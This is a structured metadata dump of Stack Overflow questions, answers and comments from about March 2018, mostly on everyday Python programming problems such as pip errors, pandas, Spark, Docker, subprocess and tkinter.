tags question: http://stackoverflow.com/q/49586546
tags question: http://stackoverflow.com/q/49520109
tags question: http://stackoverflow.com/q/49564844
tags question: http://stackoverflow.com/q/49559770
tags question: http://stackoverflow.com/q/49547715
tags question: http://stackoverflow.com/q/49519409
tags question: http://stackoverflow.com/q/49524761
tags question: http://stackoverflow.com/q/49513018
tags question: http://stackoverflow.com/q/49566157
tags question: http://stackoverflow.com/q/49494313
tags question: http://stackoverflow.com/q/49553618
tags question: http://stackoverflow.com/q/49443465
tags question: http://stackoverflow.com/q/49475536
tags question: http://stackoverflow.com/q/49543247
tags question: http://stackoverflow.com/q/49538377
tags question: http://stackoverflow.com/q/49462760
tags question: http://stackoverflow.com/q/49573081
tags question: http://stackoverflow.com/q/49463949
tags question: http://stackoverflow.com/q/49540162
tags question: http://stackoverflow.com/q/49548291
tags question: http://stackoverflow.com/q/49543049
tags question: http://stackoverflow.com/q/49483156
tags question: http://stackoverflow.com/q/49545794
tags question: http://stackoverflow.com/q/49500313
tags question: http://stackoverflow.com/q/49525582
tags question: http://stackoverflow.com/q/49582884
tags question: http://stackoverflow.com/q/49455647
tags question: http://stackoverflow.com/q/49544896
tags question: http://stackoverflow.com/q/49465678
tags question: http://stackoverflow.com/q/49456380
tags question: http://stackoverflow.com/q/49598130
tags question: http://stackoverflow.com/q/49509575
tags question: http://stackoverflow.com/q/49542914
tags question: http://stackoverflow.com/q/49522928
tags question: http://stackoverflow.com/q/49466193
tags question: http://stackoverflow.com/q/49561882
tags question: http://stackoverflow.com/q/49488313
tags question: http://stackoverflow.com/q/49506843
tags question: http://stackoverflow.com/q/49473587
tags question: http://stackoverflow.com/q/49583145

http://stackoverflow.com/comment/85904141
type: Comment
score: 0
has text: What values should ich value in the list be compared against? "least " did you mean "last"?
type: QuestionComment
comment on: http://stackoverflow.com/q/49450881

http://stackoverflow.com/q/49513255
has comment: http://stackoverflow.com/comment/86033613
type: AnsweredQuestion
tagged with: anaconda
accepted answer: http://stackoverflow.com/a/49514819
score: 1
possible better answer: http://stackoverflow.com/a/56793512
tagged with: python
has title: error: Microsoft Visual C++ 14.0 is required
tagged with: jupyter
has answer: http://stackoverflow.com/a/56793512
answer count: 2
upvote count: 2
has body: I have to install wordcloud in jupyter but during process 'pip install wordcloud' i stuck on error 'error: Microsoft Visual C++ 14.0 is required. I have read related solution on stackoverflow but there is no any satisfied answer :(
has comment: http://stackoverflow.com/comment/86034417
has comment: http://stackoverflow.com/comment/86031425
has answer: http://stackoverflow.com/a/49514819
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/49460192
type: Answer
has comment: http://stackoverflow.com/comment/85942572
has comment: http://stackoverflow.com/comment/85960508
score: 4
has body: In your docker-compose.yml file, you specify "127.0.0.1:8000:80" as the port mapping. This means that you are mapping port 8000 on your local ip, 127.0.0.1, to port 80 on the internal container. Docker also reinforces this in the docker ps call, where it tells you that the container has a port mapping with 127.0.0.1:8000-&gt;80/tcp. If you visit 127.0.0.1:80, there is nothing hosted on that port. You need to visit 127.0.0.1:8000 instead.
downvote count: 1
answers question: http://stackoverflow.com/q/49460013
has comment: http://stackoverflow.com/comment/85960418
upvote count: 5

http://stackoverflow.com/q/49481678
tagged with: gitlab
tagged with: gitlab-ci
favorite count: 0
has comment: http://stackoverflow.com/comment/86068620
type: Question
tagged with: python-3.x
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85966267
tagged with: alpine-linux
has comment: http://stackoverflow.com/comment/85966368
tagged with: python
has title: Apk not found in alpine
has answer: http://stackoverflow.com/a/49481892
accepted answer: http://stackoverflow.com/a/49481892
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86046984
has body: I am trying to setup gitlab-ci and having problems to run it. I am trying to do as simple pipeline as possible, that just compiles all files in repo and runs tests as second stage. this is my gitlab-ci so far: image: alpine:latest build: script: - apk update &amp;&amp; apk upgrade &amp;&amp; \ apk add \ python \ python-dev \ py-pip \ build-base \ - pip install -r requirements.txt when pipeline starts I get: /bin/sh: eval: line 49: apk: not found ERROR: Job failed: exit code 127 Thanks a lot in advance and sorry if this is stupid question but I am trying to do such thing for a first time :) .
answer count: 1

http://stackoverflow.com/q/49481238
duplicate of: http://stackoverflow.com/q/1517347
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/85965347
has title: Why is this merge sort code a lot slower than python's default sort()?
answer count: 1
tagged with: mergesort
has body: I took this merge sort example from a blog. I'm just starting to study merge sort and I wanted to check its speed compared to python's default sorting algorithm. With short random generated lists it's not very noticeable but with a big list, like one with 1,000,000 integers, it takes around 10 seconds, while python's default sorting algorithm doesn't even comes close to 1 second. import random import time def mergeSort(alist): if len(alist)&gt;1: mid = len(alist)//2 lefthalf = alist[:mid] righthalf = alist[mid:] mergeSort(lefthalf) mergeSort(righthalf) i=0 j=0 k=0 while i &lt; len(lefthalf) and j &lt; len(righthalf): if lefthalf[i] &lt; righthalf[j]: alist[k]=lefthalf[i] i=i+1 else: alist[k]=righthalf[j] j=j+1 k=k+1 while i &lt; len(lefthalf): alist[k]=lefthalf[i] i=i+1 k=k+1 while j &lt; len(righthalf): alist[k]=righthalf[j] j=j+1 k=k+1 array = [random.randint(0,1000) for a in range(0,10000)] #print "original random generated array:",array start = time.clock() sorted_array = mergeSort(array) #print "\nSorted array: ", sorted_array print "Time: ", str(time.clock() - start) start1 = time.clock() array = array.sort() print "Time: ", str(time.clock() - start1)
accepted answer: http://stackoverflow.com/a/49481629
type: Question
has comment: http://stackoverflow.com/comment/85965328
has comment: http://stackoverflow.com/comment/85965344
linked to: http://stackoverflow.com/q/1517347
tagged with: python
has answer: http://stackoverflow.com/a/49481629

http://stackoverflow.com/comment/86196996
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49594322
has text: What is your `PYTHONPATH` environment variable set to? Which Python library is listed when you run `ldd` on your executable file? You can certainly avoid using Python from Conda--that will probably happen by default if you make sure it's not in your `PYTHONPATH`.

http://stackoverflow.com/a/49480608
downvote count: 0
has body: Call drop_duplicates and then map NOTE to CODE: df['CODE'] = df.CODE.map(df.drop_duplicates('CODE').set_index('CODE').NOTE) Or, df['CODE'] = df.CODE.replace(df.drop_duplicates('CODE').set_index('CODE').NOTE) Alternatively, mapper = df.drop_duplicates('CODE').set_index('CODE').NOTE.to_dict() df['CODE'] = df['CODE'].map(mapper) df CODE NOTE 0 Banana Banana 1 Cola Cola 2 Banana Apple 3 Cola Fanta 4 Toy Toy Note; map is magnitudes of order faster than replace, but both of them work the same.
answers question: http://stackoverflow.com/q/49480591
type: Answer
accepted answer of: http://stackoverflow.com/q/49480591
score: 2
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/86039776
has text: It seems that it runs a part of the code 4 times. So it is something that I have to worry. It loads the same big data structures many times!
type: QuestionComment
comment on: http://stackoverflow.com/q/49514975
type: Comment
score: 0

http://stackoverflow.com/comment/85922782
comment on: http://stackoverflow.com/q/49451806
type: Comment
type: QuestionComment
has text: @ands It is 5.0.1
score: 0

http://stackoverflow.com/q/49532525
has body: I'm totally new to python. I want to write a program which checks whether a number is squared or not. my code: import math T = int(input()) while T &gt;= 0: num = int(input()) sqrt = int(math.sqrt(num)) if sqrt * sqrt == num: print('1') else: print('0') T = T - 1 the code is working correctly in my IDE(pycharm community 2017) but it gets a runtime error as you see in online IDEs (on geeksforgeeks ide): Traceback (most recent call last): File "/home/043265f1cbdf257ecc20a7579588a4a4.py", line 5, in &lt;module&gt; num = int(input()) EOFError: EOF when reading a line
has title: how to solve "EOFError: EOF when reading a line" error in python3?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49532697
accepted answer: http://stackoverflow.com/a/49532697
has answer: http://stackoverflow.com/a/49532634
has comment: http://stackoverflow.com/comment/86071522
possible better answer: http://stackoverflow.com/a/49532634
tagged with: python
score: -1
has answer: http://stackoverflow.com/a/49532810
answer count: 4
type: AnsweredQuestion
tagged with: pycharm
has answer: http://stackoverflow.com/a/76104970
has comment: http://stackoverflow.com/comment/86071180
downvote count: 2
tagged with: runtime
upvote count: 1

http://stackoverflow.com/q/49579168
tagged with: http://stackoverflow.com/tag/html
has body: I am having difficulty with creating new tags and arranging them in the right order using beautifulsoup for python. I wrote a function which will read questions, links, number them and automatically add them to a html document. It is meant to add short html segments to the file. This is my function: def new_content(counter, button, link): from bs4 import BeautifulSoup with open("content_template.htm") as insert: content = BeautifulSoup(insert, "html.parser") #Find the tag you wish to append to and the tag you want to append before. original_tag = content.find("body") #Create & append new tags. new_tag = content.new_tag("button") new_tag["class"] = "accordion" original_tag.append(new_tag) new_tag.string = button new_tag = content.new_tag("div") new_tag["class"] = "panel" original_tag.append(new_tag) new_tag = content.new_tag("p") original_tag.append(new_tag) new_tag = content.new_tag("a", href=link) original_tag.p.append(new_tag) original_tag.a.string = str(counter) + ". " + link #Close all open files! insert.close() #Now write everything to the file! with open("content.htm", 'w') as output: output.write(content.prettify()) output.close() new_content(1, "QUESTION", "ANSWER.htm") new_content(2, "SECOND QUESTION", "SECOND ANSWER.htm") new_content(3, "THIRD QUESTION", "THIRD ANSWER.htm") This is how each html segment should be organized: QUESTION ANSWER The above segment of code recurs within "content_template.htm" file like this: QUESTION ANSWER Problem is, my first line works perfectly. Then the subsequent lines get garbled and added to the document willy-nilly and the whole thing becomes a mess. Could someone tell me where I am going wrong with the function?
has title: Python beautifulsoup new tags and organising input
has comment: http://stackoverflow.com/comment/86168125
tagged with: beautifulsoup
type: Question
answer count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/49582712
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49582712

http://stackoverflow.com/q/49540313
type: Question
has comment: http://stackoverflow.com/comment/86088929
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/94574762
downvote count: 0
has title: spark-submit - cannot pickle class in package, but can pickle 'same' class in root folder
has comment: http://stackoverflow.com/comment/96220325
score: 4
has body: In my Python-based Spark task 'main.py', I reference a protobuf generated class 'a_pb2.py'. If I place all files in the root directory like / - main.py - a_pb2.py and zip a_pb2.py into 'proto.zip', then run spark-submit --py-files=proto.zip main.py everything runs as expected. However, if I move the protobuf classes to a package, organizing my files like / - main.py - /protofiles - __init__.py - a_pb2.py and zip /protofiles into 'proto.zip', then run spark-submit --py-files=proto.zip main.py the spark task fails, saying it cannot pickle class Account within a_pb2 Caused by: org.apache.spark.api.python.PythonException: Traceback (most recent call last): File "/usr/local/Cellar/apache-spark/2.2.1/libexec/python/lib/pyspark.zip/pyspark/worker.py", line 177, in main process() File "/usr/local/Cellar/apache-spark/2.2.1/libexec/python/lib/pyspark.zip/pyspark/worker.py", line 172, in process serializer.dump_stream(func(split_index, iterator), outfile) File "/usr/local/Cellar/apache-spark/2.2.1/libexec/python/lib/pyspark.zip/pyspark/serializers.py", line 272, in dump_stream bytes = self.serializer.dumps(vs) File "/usr/local/Cellar/apache-spark/2.2.1/libexec/python/lib/pyspark.zip/pyspark/serializers.py", line 451, in dumps return pickle.dumps(obj, protocol) _pickle.PicklingError: Can't pickle class 'a_pb2.Account': import of module 'a_pb2' failed I am assuming this class serialization is happening to distribute the dependencies to worker nodes. But wouldn't this serialization also happen in the initial case, and if the class was unpickle-able, it should fail then as well? Needless to say I am confused, and not familiar with the nuances of how spark treats dependency packages+modules vs just modules. Any suggestions appreciated!
favorite count: 0
tagged with: protocol-buffers
tagged with: apache-spark
tagged with: pyspark
tagged with: python
upvote count: 4

http://stackoverflow.com/q/49530034
tagged with: tweepy
has title: Tweepy OpenSSL.SSL.WantReadError
type: AnsweredQuestion
tagged with: openssl
accepted answer: http://stackoverflow.com/a/49708411
answer count: 2
has body: Python 3.6. I use the streamer of tweepy to get tweets. It works well. But sometimes, if I let it open for more than 24h, I have this error Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\site-packages\requests\packages\urllib3\contrib\pyopenssl.py", line 277, in recv_into return self.connection.recv_into(*args, **kwargs) File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1547, in recv_into self._raise_ssl_error(self._ssl, result) File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1353, in _raise_ssl_error raise WantReadError() OpenSSL.SSL.WantReadError During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\site-packages\requests\packages\urllib3\contrib\pyopenssl.py", line 277, in recv_into return self.connection.recv_into(*args, **kwargs) File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1547, in recv_into self._raise_ssl_error(self._ssl, result) File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1370, in _raise_ssl_error raise SysCallError(errno, errorcode.get(errno)) OpenSSL.SSL.SysCallError: (10054, 'WSAECONNRESET') During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\ProgramData\Anaconda3\lib\site-packages\requests\packages\urllib3\response.py", line 302, in _error_catcher yield File "C:\ProgramData\Anaconda3\lib\site-packages\requests\packages\urllib3\response.py", line 384, in read data = self._fp.read(amt) File "C:\ProgramData\Anaconda3\lib\http\client.py", line 449, in read n = self.readinto(b) File "C:\ProgramData\Anaconda3\lib\http\client.py", line 483, in readinto return self._readinto_chunked(b) File "C:\ProgramData\Anaconda3\lib\http\client.py", line 578, in _readinto_chunked chunk_left = self._get_chunk_left() File "C:\ProgramData\Anaconda3\lib\http\client.py", line 546, in _get_chunk_left chunk_left = self._r…
has comment: http://stackoverflow.com/comment/86195183
tagged with: urllib3
possible better answer: http://stackoverflow.com/a/49703581
has answer: http://stackoverflow.com/a/49708411
has comment: http://stackoverflow.com/comment/86197312
has comment: http://stackoverflow.com/comment/86211147
has comment: http://stackoverflow.com/comment/86209036
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86211076
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86328318
upvote count: 5
has comment: http://stackoverflow.com/comment/86209023
has answer: http://stackoverflow.com/a/49703581
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/86209747

http://stackoverflow.com/q/49560246
tagged with: scrapy
favorite count: 0
type: Question
has body: I am writing a web scraper to fetch a group of links (located at tree.xpath('//div[@class="work_area_content"]/a/@href') from a website and return the Title and Url of all the leafs sectioned by the leafs parent. I have two scrapers: one in python and one in Scrapy for Python. What is the purpose of callbacks in the Scrapy Request method? Should the information be in a multidimensional or single dimension list ( I believe multi-dimensional but it enhances complication)? Which of the below code is better? If the scraper code is better, how do I migrate the python code to the Scrapy code? From what I understand from callbacks is that it passes a function's arguments to another function; however, if the callback refers to itself, the data gets overwritten and therefore lost, and you're unable to go back to the root data. Is this correct? python: url_storage = [ [ [ [] ] ] ] page = requests.get('http://1.1.1.1:1234/TestSuites') tree = html.fromstring(page.content) urls = tree.xpath('//div[@class="work_area_content"]/a/@href').extract() i = 0 j = 0 k = 0 for i, url in enumerate(urls): absolute_url = "".join(['http://1.1.1.1:1234/', url]) url_storage[i][j][k].append(absolute_url) print(url_storage) #url_storage.insert(i, absolute_url) page = requests.get(url_storage[i][j][k]) tree2 = html.fromstring(page.content) urls2 = tree2.xpath('//div[@class="work_area_content"]/a/@href').extract() for j, url2 in enumerate(urls2): absolute_url = "".join(['http://1.1.1.1:1234/', url2]) url_storage[i][j][k].append(absolute_url) page = requests.get(url_storage[i][j][k]) tree3 = html.fromstring(page.content) urls3 = tree3.xpath('//div[@class="work_area_content"]/a/@href').extract() for k, url3 in enumerate(urls3): absolute_url = "".join(['http://1.1.1.1:1234/', url3]) url_storage[i][j][k].append(absolute_url) page = requests.get(url_storage[i][j][k]) tree4 = html.fromstring(page.content) urls3 = tree4.xpath('//div[@class="work_area_content"]/a/@href').extract() title = tree4.xpath('//spa…
tagged with: python
type: UnansweredQuestion
tagged with: dictionary
tagged with: list
has title: Web Scraping all Urls from a website with Scrapy and Python
answer count: 0
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/85939626
comment on: http://stackoverflow.com/a/49467878
type: AnswerComment
has text: sum(1) is a sum along the first axis.
score: 0
type: Comment

http://stackoverflow.com/comment/85935145
comment on: http://stackoverflow.com/q/49466238
type: Comment
type: QuestionComment
has text: Why don't you try `[x for x in arr1 if x in arr2]` This will not give the indexes, but the elements themselves.
score: 0

http://stackoverflow.com/q/49504271
answer count: 2
has answer: http://stackoverflow.com/a/49528355
has comment: http://stackoverflow.com/comment/86012807
tagged with: cluster-analysis
tagged with: python
accepted answer: http://stackoverflow.com/a/49504632
has body: Is it possible to do clustering without providing any input apart from the data? The clustering method/algorithm should decide from the data on how many logical groups the data can be divided, even it doesn't require me to input the threshold eucledian distance on which the clusters are built, this also needs to be learned from the data. Could you please suggest me what is closest solution for my problem?
has answer: http://stackoverflow.com/a/49504632
type: AnsweredQuestion
score: 0
has title: clustering in python without number of clusters or threshold
type: Question
possible better answer: http://stackoverflow.com/a/49528355

http://stackoverflow.com/comment/85949253
type: QuestionComment
has text: Oh yes, you are right! I can't believe I missed that. Thank you @DyZ
score: 0
comment on: http://stackoverflow.com/q/49473373
type: Comment

http://stackoverflow.com/q/49443251
possible better answer: http://stackoverflow.com/a/49444671
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49444671
score: 1
has comment: http://stackoverflow.com/comment/85888651
tagged with: awk
has comment: http://stackoverflow.com/comment/85888839
tagged with: shell
has comment: http://stackoverflow.com/comment/85888842
favorite count: 0
type: Question
has title: compare 2 files and append a value from file1 to end of file2 after match
answer count: 2
has body: I have to match Column1 of FILE1 with values of FILE2 and if it matches, append Column3 from FILE1 to end of each line in FILE2. I have included examples below and any help is appreciated. FILE1 405869000009306,917010120346,3535080769880902 405869000013492,917010130771,8687780205056100 405869000014438,917010132781,8626280378318000 FILE2 9,=5|0|Pay,=,=,=1|1|918438953359,+918438953359@,=405869000009306,=20180304060000804+0530,=0,=0,=140,=0,=25,=0,=180304055956+22,=199,=1,=1,=-e-89-43-16-e367d-5a9b3e08-98b90,+918438953359@,=1|1|917019075052,=1|1|917010075000,=,=,=,=,=icid-value=14.137.67-1520123400.11094809;icid-generated-at;orig-ioi, 8,=1|1|918667657858,+918667657858@,=405869000013492,=1|1|919894455911,=,=,=20180304060000740+0530,=0,=1,=2,=0,=0,=0,=000000000000+00,=0,=1,=1,=1567756633_2338487864@2405:204:7a4e:2019:f339:d39b:1e12:915e,=sip:tn1ipsxm001.ims.mnc869.mcc405.3gppnetwork.org,=1|1|917010075000,=1|1|917010075009,mnc,=3GPP-E-UTRAN-FDD;405869006D039F831,=,=,=icid-value=11.274.6905-1520123400.57776869;icid-generated-at;orig-ioi, OUTPUT 9,=5|0|Pay,=,=,=1|1|918438953359,+918438953359@,=405869000009306,=20180304060000804+0530,=0,=0,=140,=0,=25,=0,=180304055956+22,=199,=1,=1,=-e-89-43-16-e367d-5a9b3e08-98b90,+918438953359@,=1|1|917019075052,=1|1|917010075000,=,=,=,=,=icid-value=14.137.67-1520123400.11094809;icid-generated-at;orig-ioi,3535080769880902 8,=1|1|918667657858,+918667657858@,=405869000013492,=1|1|919894455911,=,=,=20180304060000740+0530,=0,=1,=2,=0,=0,=0,=000000000000+00,=0,=1,=1,=1567756633_2338487864@2405:204:7a4e:2019:f339:d39b:1e12:915e,=sip:tn1ipsxm001.ims.mnc869.mcc405.3gppnetwork.org,=1|1|917010075000,=1|1|917010075009,mnc,=3GPP-E-UTRAN-FDD;405869006D039F831,=,=,=icid-value=11.274.6905-1520123400.57776869;icid-generated-at;orig-ioi,8687780205056100
accepted answer: http://stackoverflow.com/a/49444799
downvote count: 0
has comment: http://stackoverflow.com/comment/85888452
has answer: http://stackoverflow.com/a/49444799
upvote count: 1
tagged with: python

http://stackoverflow.com/q/49588368
type: Question
tagged with: subprocess
linked to: http://stackoverflow.com/q/53232728
score: 1
downvote count: 0
upvote count: 1
possible better answer: http://stackoverflow.com/a/63531753
favorite count: 0
has answer: http://stackoverflow.com/a/49597833
has body: I would like to use rlcone inside python. If I don't encrypt my rclone config with a password, then I can simply do this: import subprocess process = subprocess.Popen(["rclone", "listremotes"], shell=True, stdin=subprocess.PIPE) output = process.communicate() print(output) But I want to protect my Rclone config with a password, so I need a way to send it to rclone. I followed this answer but I get the error Failed to read password: The handle is invalid: import subprocess psw= input("enter psw") psw_byte= str.encode(psw+'\n') process = subprocess.Popen(["rclone", "listremotes"], shell=True, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE) process.stdin.write(psw_byte) process.stdin.flush() output = process.communicate() print(output)
has answer: http://stackoverflow.com/a/63531753
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86186900
linked to: http://stackoverflow.com/q/2387731
has answer: http://stackoverflow.com/a/70417737
has title: Python subprocess: how to send a password (rclone configuration)
tagged with: python
has comment: http://stackoverflow.com/comment/86185016
accepted answer: http://stackoverflow.com/a/50030346
has comment: http://stackoverflow.com/comment/86185050
answer count: 4
linked to: http://stackoverflow.com/q/2231227
has answer: http://stackoverflow.com/a/50030346

http://stackoverflow.com/a/49469141
downvote count: 0
has body: You can fix your column with: df['rooms'] = df['rooms'].str.replace("½", ".5") To make it a float: df['rooms'] = df['rooms'].str.replace("½", ".5").apply(float)
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49465836
answers question: http://stackoverflow.com/q/49465836
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/q/49498296
tagged with: tkinter
has title: What does the 'tearoff' attribute do in a tkinter Menu?
type: UnansweredQuestion
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/86000922
has answer: http://stackoverflow.com/a/49498656
favorite count: 0
linked to: http://stackoverflow.com/q/20399243
tagged with: terminology
tagged with: tkinter-menu
has answer: http://stackoverflow.com/a/49498571
has answer: http://stackoverflow.com/a/52633777
has answer: http://stackoverflow.com/a/62238929
answer count: 4
upvote count: 11
score: 9
type: Question
has body: I often see Tkinter applications initialize Menu widgets using tearoff=0 in the constructor. import tkinter as tk root = tk.Tk() menubar = tk.Menu(root) filemenu = tk.Menu(menubar, tearoff=0) effbot.org's documentation for Menu specifies that the default value for tearoff is 1, but it doesn't explain what the value is used for. tearoff= Default value is 1. (tearOff/TearOff) tearoffcommand= No default value. (tearOffCommand/TearOffCommand) What does the tearoff attribute do when initializing a tkinter Menu widget?

http://stackoverflow.com/q/49513525
has comment: http://stackoverflow.com/comment/86032504
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49513713
has comment: http://stackoverflow.com/comment/86033079
possible better answer: http://stackoverflow.com/a/49513812
tagged with: cat
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/86032792
type: AnsweredQuestion
upvote count: 0
answer count: 2
has answer: http://stackoverflow.com/a/49513713
tagged with: subprocess
has title: Python3.5 subprocess run cat command without using shell
downvote count: 1
has body: I am running cat command to read the Linux version using subprocess.run(). However it doesn't work, the error is: cat: '/etc/*-release': No such file or directory, and I can not use shell=True due to security. Any hints how to solve this is appreciated. Here is my code: try: result = subprocess.run( shlex.split("cat /etc/*-release"), stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) except subprocess.TimeoutExpired as err: result = err
tagged with: shell
has answer: http://stackoverflow.com/a/49513812

http://stackoverflow.com/a/49519497
type: Answer
accepted answer of: http://stackoverflow.com/q/49519412
has comment: http://stackoverflow.com/comment/86046642
score: 2
has body: From the Python Docs In Python, variables that are only referenced inside a function are implicitly global. If a variable is assigned a value anywhere within the function’s body, it’s assumed to be a local unless explicitly declared as global. Since s2 is only read (not assigned) inside the function it's implicitly global, and there is no error. However, if you tried to modify s2 it would throw an error unless you define it as global, since by default it would assume the variable is local, and there isn't a local variable named s2. Personally, I agree that this is a bit unintuitive.
has comment: http://stackoverflow.com/comment/86047047
upvote count: 2
answers question: http://stackoverflow.com/q/49519412
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86046867
has comment: http://stackoverflow.com/comment/86046912

http://stackoverflow.com/comment/86144496
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49566980
has text: @ankit Yes, and because the data do not fill the rows: You can see that the `dtype` is `<U79`, i.e. 79 unicode characters per row. But if you count the letters they are only 60. The rest is zero padded and `49` happens to be the (essentially random) lookup value of zero; indeed, there are 19 49's and 60 proper values. But provided each row has the same number 60 of valid letters this is easy to fix: just cut the result at column 60: `result = result[:, :60]`.
type: Comment

http://stackoverflow.com/q/49460205
tagged with: python-3.x
has title: Changing model id from integer to alphanumeric
upvote count: 2
score: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49501799
answer count: 1
downvote count: 0
tagged with: django
favorite count: 0
tagged with: postgresql
tagged with: python
has body: I changed by id in my model from the default id = models.AutoField(primary_key=True) to id = models.CharField(max_length=18, primary_key=True, default=random_string). Here's the function for random_string(): def random_string(chars=string.ascii_letters + string.digits): size = random.randrange(10, 15) return str(''.join(random.choice(chars) for _ in range(size))) it generates an alphanumeric string between 10 and 15 chars (e.g. Kf4Idv9Wlmq). When I performed makemigrations and migrate on my local development server, there was no problem. However when I performed makemigrations and migrate on my remote server which uses postgres, it fired the error. Any idea how I can fix this? The error is: psycopg2.ProgrammingError: cannot cast type integer to uuid LINE 1: ..."post_post" ALTER COLUMN "id" TYPE uuid USING "id"::uuid, AL... This may be related to my accompanying PostScore model: class PostScore(models.Model): ... post = models.ForeignKey(Post, related_name='score') The migration: Applying post.0004_auto_20180320_0841...SET CONSTRAINTS "comment_comment_post_id_357153e3_fk_post_post_id" IMMEDIATE; ALTER TABLE "comment_comment" DROP CONSTRAINT "comment_comment_post_id_357153e3_fk_post_post_id"; (params ()) SET CONSTRAINTS "post_postscore_post_id_224af0c0_fk_post_post_id" IMMEDIATE; ALTER TABLE "post_postscore" DROP CONSTRAINT "post_postscore_post_id_224af0c0_fk_post_post_id"; (params ()) SET CONSTRAINTS "post_advertisepost_post_ptr_id_d46585b8_fk_post_post_id" IMMEDIATE; ALTER TABLE "post_advertisepost" DROP CONSTRAINT "post_advertisepost_post_ptr_id_d46585b8_fk_post_post_id"; (params ()) SET CONSTRAINTS "profiles_inbox_post_id_367503fc_fk_post_post_id" IMMEDIATE; ALTER TABLE "profiles_inbox" DROP CONSTRAINT "profiles_inbox_post_id_367503fc_fk_post_post_id"; (params ()) ALTER TABLE "post_post" ALTER COLUMN "id" TYPE uuid USING "id"::uuid, ALTER COLUMN "id" SET DEFAULT %s; (params [UUID('68a6adcc-1ee7-4c81-bd7e-eac4a78cb407')]) Traceback (most recent call last): File "/h…
type: Question

http://stackoverflow.com/comment/86139464
has text: Please add the pandas tag to your questions when asking pandas questions.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49565400
score: 0

http://stackoverflow.com/comment/85943521
type: Comment
comment on: http://stackoverflow.com/a/49470449
type: AnswerComment
has text: Thanks for the comment and clarification @jpp
score: 1

http://stackoverflow.com/comment/103845630
type: AnswerComment
has text: Nice solution! Why is the minus sign (-n...) necessary, though?
comment on: http://stackoverflow.com/a/49462383
type: Comment
score: 0

http://stackoverflow.com/comment/86152395
score: 0
comment on: http://stackoverflow.com/q/49572015
type: Comment
has text: Can you please update question with your urls.py file ??
type: QuestionComment

http://stackoverflow.com/q/49591913
tagged with: hyperlink
tagged with: python
has comment: http://stackoverflow.com/comment/86191519
has answer: http://stackoverflow.com/a/49591960
score: 0
answer count: 2
type: UnansweredQuestion
has body: I wanna print some links to cmd and directly from cmd open these links by clicking on it. How can I do this?
tagged with: cmd
type: Question
has title: How can I open url by clicking on hyperlink in CMD?
has answer: http://stackoverflow.com/a/49591970
has comment: http://stackoverflow.com/comment/86191506

http://stackoverflow.com/comment/86059979
comment on: http://stackoverflow.com/q/49523579
score: 0
type: Comment
has text: @abarnert yes i can't delete it's important.
type: QuestionComment

http://stackoverflow.com/a/49478613
score: 0
has comment: http://stackoverflow.com/comment/85960457
has body: There is no SDK for c++ . You can view the list of available libraries on their website https://www.twilio.com/docs/libraries. That said their API works over http and the sdk is just a wrapper for an http request , so you can just make the http requests directly with c++ You can view different REST calls here: https://www.twilio.com/docs/api/rest/available-phone-numbers?code-sample=code-find-available-local-phone-numbers&amp;code-language=curl&amp;code-sdk-version=json
type: Answer
answers question: http://stackoverflow.com/q/49472409
has comment: http://stackoverflow.com/comment/85960551

http://stackoverflow.com/comment/86171878
type: Comment
score: 1
type: QuestionComment
has text: Why don't you inherit Child from Outfit in the first place?
comment on: http://stackoverflow.com/q/49581807

http://stackoverflow.com/q/49598427
has title: python- JSON to pandas Dataframe
has answer: http://stackoverflow.com/a/49598453
has answer: http://stackoverflow.com/a/49598489
answer count: 2
tagged with: pandas
score: 1
